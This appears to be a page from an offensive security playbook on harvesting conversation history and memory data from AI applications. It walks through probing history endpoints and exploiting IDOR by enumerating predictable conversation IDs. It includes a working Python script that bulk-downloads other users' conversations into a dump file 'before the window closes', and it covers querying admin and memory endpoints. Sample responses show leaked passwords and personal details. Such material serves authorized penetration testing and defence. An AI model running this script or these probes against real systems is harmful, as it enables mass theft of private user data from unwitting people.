Harvesting Conversation History and User Data
AI applications persist conversation history for context continuity, user personalization, and audit purposes. That stored history contains sensitive user inputs — credentials typed into the chat, personal information shared with the assistant, internal documents discussed, and business logic revealed through user queries. With access to the storage layer or an admin API, conversation history across all users becomes a high-value exfiltration target.
Data isolation failures in multi-tenant deployments are the most common path. A missing tenant_id filter on a history query endpoint, a shared session store with predictable keys, or an admin endpoint accessible to regular users can expose every user's conversation history to any authenticated session.
Enumerate History Storage Endpoints
Probe the API for conversation history endpoints. These are commonly found under paths like /conversations, /history, /sessions, or /threads:
/api/conversations: 200 /api/history: 404 /api/sessions: 403 /api/threads: 200 /api/chat/history: 404 /api/messages: 401 /v1/conversations: 200
{
"conversations": [
{"id": "conv_001", "user_id": "user_abc", "created_at": "2025-03-01T10:23:00Z", "preview": "How do I reset my VPN..."},
{"id": "conv_002", "user_id": "user_abc", "created_at": "2025-03-02T14:11:00Z", "preview": "The database password is..."}
]
}
Access Other Users' Conversations via IDOR
If conversation IDs are sequential or predictable, enumerate them to access conversations belonging to other users. Test whether the server validates that the requesting user owns the conversation:
conv_001: 200 conv_002: 200 conv_003: 200 conv_004: 200
{
"id": "conv_003",
"user_id": "user_xyz",
"messages": [
{"role": "user", "content": "My SSH key passphrase is hunter2, can you help me..."},
{"role": "assistant", "content": "I can help you with that..."}
]
}
Receiving a conversation belonging to a different user_id confirms the IDOR. Script bulk extraction across the ID range before the window closes:
import requests, json
TARGET_IP = '$TARGET_IP'
TOKEN = '$TOKEN'
results = []
for i in range(1, 500):
conv_id = f'conv_{i:03d}'
r = requests.get(
f'https://{TARGET_IP}/api/conversations/{conv_id}',
headers={'Authorization': f'Bearer {TOKEN}'}
)
if r.status_code == 200:
results.append(r.json())
print(f'[+] {conv_id}: {len(r.json().get("messages", []))} messages')
with open('/tmp/conversation_dump.json', 'w') as f:
json.dump(results, f, indent=2)
print(f'\nDumped {len(results)} conversations')
Query Admin History Endpoints
Admin history endpoints often exist for moderation and audit purposes. Test whether they are accessible with a standard user token or with no authentication at all:
Extract Memory Store Entries
AI applications with persistent memory store user facts and preferences extracted from past conversations. Memory stores are separate from conversation history and often less protected. Query the memory endpoint if present:
{
"memories": [
{"id": "mem_001", "user_id": "user_abc", "content": "User's name is Sarah. Works in finance. Mentioned salary of $95,000."},
{"id": "mem_002", "user_id": "user_abc", "content": "User uses password pattern: CompanyName + year + !"}
]
}
References
-
OWASP Top 10 for LLM Applicationsowasp.org/www-project-top-10-for-large-language-model-applications (opens in new tab)
LLM02: Insecure Output Handling and LLM06: Excessive Agency covering conversation data exposure
-
OWASP API Security Top 10owasp.org/www-project-api-security (opens in new tab)
API1: Broken Object Level Authorization covering IDOR on conversation history endpoints
Was this helpful?
Your feedback helps improve this page.